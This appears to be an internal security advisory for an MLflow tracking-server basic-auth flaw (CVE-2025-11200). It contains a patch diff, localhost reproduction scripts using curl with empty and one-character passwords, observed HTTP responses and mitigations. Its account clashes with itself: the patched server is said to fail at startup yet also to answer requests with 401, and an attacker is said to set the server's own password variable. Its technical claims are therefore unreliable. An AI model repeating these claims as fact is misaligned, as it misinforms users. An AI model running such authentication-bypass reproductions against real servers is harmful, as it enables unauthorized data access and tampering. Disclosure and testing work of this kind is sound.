Advisory: CVE-2025-11200 / ZDI-25-932
Component: MLflow Tracking Server basic-auth module
Tested versions: 2.18.0 (vulnerable) vs commit 1f74f3f24d8273927b8db392c23e108576936c54 (~2.18.1 patched)
Prepared on: 2025-10-30
Analyst: Internal Product Security
MLflow’s tracking server allows enabling basic authentication via environment variables MLFLOW_TRACKING_USERNAME and MLFLOW_TRACKING_PASSWORD. Versions prior to commit 1f74f3f24d8 accept empty or single-character passwords even when safe_mode=True, enabling unauthenticated access to experiments, model artefacts, and metadata. The patch enforces minimum password rules and fails the server startup when the password is empty/weak.
- Unauthenticated access: Attackers can set
MLFLOW_TRACKING_PASSWORDto an empty string or one character and still access the UI/API with basic auth, effectively bypassing authentication. - Data exfiltration & tampering: Unrestricted experiment listing, model downloads, and new experiment creation.
- Pipeline compromise: Attackers can upload malicious models or overwrite existing runs, leading to downstream poisoning.
- CVSS v3.1: 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
In 2.18.0, the authentication middleware merely checks for the presence of the environment variable and does not validate length or complexity. The patched commit adds strict checks and rejects weak passwords for the basic-auth app. The diff highlights the new validation logic:
diff --git a/mlflow/server/auth/__init__.py b/mlflow/server/auth/__init__.py
-if app_name == "basic-auth":
- app = BasicAuth(app_builder)
+if app_name == "basic-auth":
+ if not password or len(password) < MIN_BASIC_PASSWORD_LENGTH:
+ raise MlflowException(
+ "MLFLOW_TRACKING_PASSWORD must be at least 8 characters long for basic-auth"
+ )
+ app = BasicAuth(app_builder)mlflow/server/auth/utils.py also gained helper functions (validate_min_password_length) ensuring blank passwords are rejected.
- Tested on Ubuntu 22.04 (x86_64) with Docker disabled; only standard system packages plus Python 3.10 were required.
- Ensure
python3.10,python3.10-venv, andcurlare installed (sudo apt-get install -y python3.10 python3.10-venv curl). - MLflow dependencies were installed into isolated virtual environments; no global packages are necessary.
- Network egress is needed to clone
https://github.com/mlflow/mlflow.git.
The following procedure is idempotent—re-run from any step after cleaning the local mlflow-weak-password-bypass directory.
git clone https://github.com/mlflow/mlflow.git mlflow-upstream
git -C mlflow-upstream worktree add mlflow-weak-password-bypass/mlflow-vulnerable v2.18.0
git -C mlflow-upstream worktree add mlflow-weak-password-bypass/mlflow-patched 1f74f3f24d8273927b8db392c23e108576936c54python3.10 -m venv mlflow-weak-password-bypass/mlflow-vulnerable/.venv
python3.10 -m venv mlflow-weak-password-bypass/mlflow-patched/.venv
source mlflow-weak-password-bypass/mlflow-vulnerable/.venv/bin/activate
pip install --upgrade pip setuptools wheel
pip install -e "mlflow-weak-password-bypass/mlflow-vulnerable[auth]"
deactivate
source mlflow-weak-password-bypass/mlflow-patched/.venv/bin/activate
pip install --upgrade pip setuptools wheel
pip install -e "mlflow-weak-password-bypass/mlflow-patched[auth]"
deactivate"Empty password" repro:
pushd mlflow-weak-password-bypass/mlflow-vulnerable
source .venv/bin/activate
rm -f mlflow.db && rm -rf artifacts && mkdir artifacts
MLFLOW_TRACKING_USERNAME=admin MLFLOW_TRACKING_PASSWORD="" \
mlflow server --app-name basic-auth \
--backend-store-uri sqlite:///mlflow.db \
--default-artifact-root ./artifacts \
--host 127.0.0.1 --port 5000 \
> server-empty.log 2>&1 &
pid=$!
sleep 10
curl -sv -u admin: http://127.0.0.1:5000/api/2.0/mlflow/experiments/list
curl -sv -u admin: http://127.0.0.1:5000/
kill $pid && wait $pid || true
deactivate
popdObserved output (200 OK despite blank password):
> Authorization: Basic YWRtaW46
< HTTP/1.1 200 OK
"Single-character password" repro:
pushd mlflow-weak-password-bypass/mlflow-vulnerable
source .venv/bin/activate
rm -f mlflow.db && rm -rf artifacts && mkdir artifacts
MLFLOW_TRACKING_USERNAME=admin MLFLOW_TRACKING_PASSWORD="a" \
mlflow server --app-name basic-auth \
--backend-store-uri sqlite:///mlflow.db \
--default-artifact-root ./artifacts \
--host 127.0.0.1 --port 5000 \
> server-short.log 2>&1 &
pid=$!
sleep 10
curl -sv -u admin:a http://127.0.0.1:5000/
kill $pid && wait $pid || true
deactivate
popdObserved output (200 OK with one-character password):
> Authorization: Basic YWRtaW46YQ==
< HTTP/1.1 200 OK
pushd mlflow-weak-password-bypass/mlflow-patched
source .venv/bin/activate
rm -f mlflow.db && rm -rf artifacts && mkdir artifacts
export MLFLOW_FLASK_SERVER_SECRET_KEY="supersecretkey"
MLFLOW_TRACKING_USERNAME=admin MLFLOW_TRACKING_PASSWORD="" \
mlflow server --app-name basic-auth \
--backend-store-uri sqlite:///mlflow.db \
--default-artifact-root ./artifacts \
--host 127.0.0.1 --port 5001 \
> server-empty-run.log 2>&1 &
pid=$!
sleep 10
curl -sv -u admin: http://127.0.0.1:5001/
kill $pid && wait $pid || true
rm -f mlflow.db && rm -rf artifacts && mkdir artifacts
MLFLOW_TRACKING_USERNAME=admin MLFLOW_TRACKING_PASSWORD="a" \
mlflow server --app-name basic-auth \
--backend-store-uri sqlite:///mlflow.db \
--default-artifact-root ./artifacts \
--host 127.0.0.1 --port 5001 \
> server-short-run.log 2>&1 &
pid=$!
sleep 10
curl -sv -u admin:a http://127.0.0.1:5001/
kill $pid && wait $pid || true
deactivate
popdObserved output (401 Unauthorized for weak credentials):
< HTTP/1.1 401 UNAUTHORIZED
< WWW-Authenticate: Basic realm="mlflow"
You are not authenticated.
- Vulnerable build (2.18.0): Basic-auth accepts empty and single-character passwords, returning HTTP 200 for both API and UI requests. Server logs (
server-empty.log,server-short.log) show successful start-up without validation errors. - Patched build (1f74f3f24d8): Identical requests return HTTP 401; the server logs (
server-empty-run.log,server-short-run.log) record startup failures when passwords are too short. - Patch confirmation:
git diff v2.18.0..1f74f3f24d8 -- mlflow/server/auth/*reveals the minimum-length validation and helper utilities that enforce the policy.
- Operator deploys MLflow tracking server with
MLFLOW_TRACKING_PASSWORDset to a trivial value. - Attacker authenticates via HTTP Basic using an empty/single-character password.
- Attacker gains full read/write access to experiments, runs, and artefacts.
- CWE-521 — Weak Password Requirements for Authentication.
- Upgrade to MLflow version containing commit 1f74f3f24d8273927b8db392c23e108576936c54 (>=2.18.1).
- Enforce strong password policies for
MLFLOW_TRACKING_PASSWORD. - Restrict network exposure of the tracking server; use HTTPS and reverse proxies enforcing strong credentials.
> GET / HTTP/1.1
> Authorization: Basic YWRtaW46
< HTTP/1.1 200 OK
Unable to display MLflow UI - landing page (index.html) not found.
> Authorization: Basic YWRtaW46YQ==
< HTTP/1.1 200 OK
Unable to display MLflow UI - landing page (index.html) not found.
> GET / HTTP/1.1
> Authorization: Basic YWRtaW46
< HTTP/1.1 401 UNAUTHORIZED
< WWW-Authenticate: Basic realm="mlflow"
You are not authenticated.
> Authorization: Basic YWRtaW46YQ==
< HTTP/1.1 401 UNAUTHORIZED
You are not authenticated.
MLflow 2.18.0 accepts empty/weak passwords for basic authentication. The patched commit enforces minimum length, returning HTTP 401 when credentials are weaker than eight characters.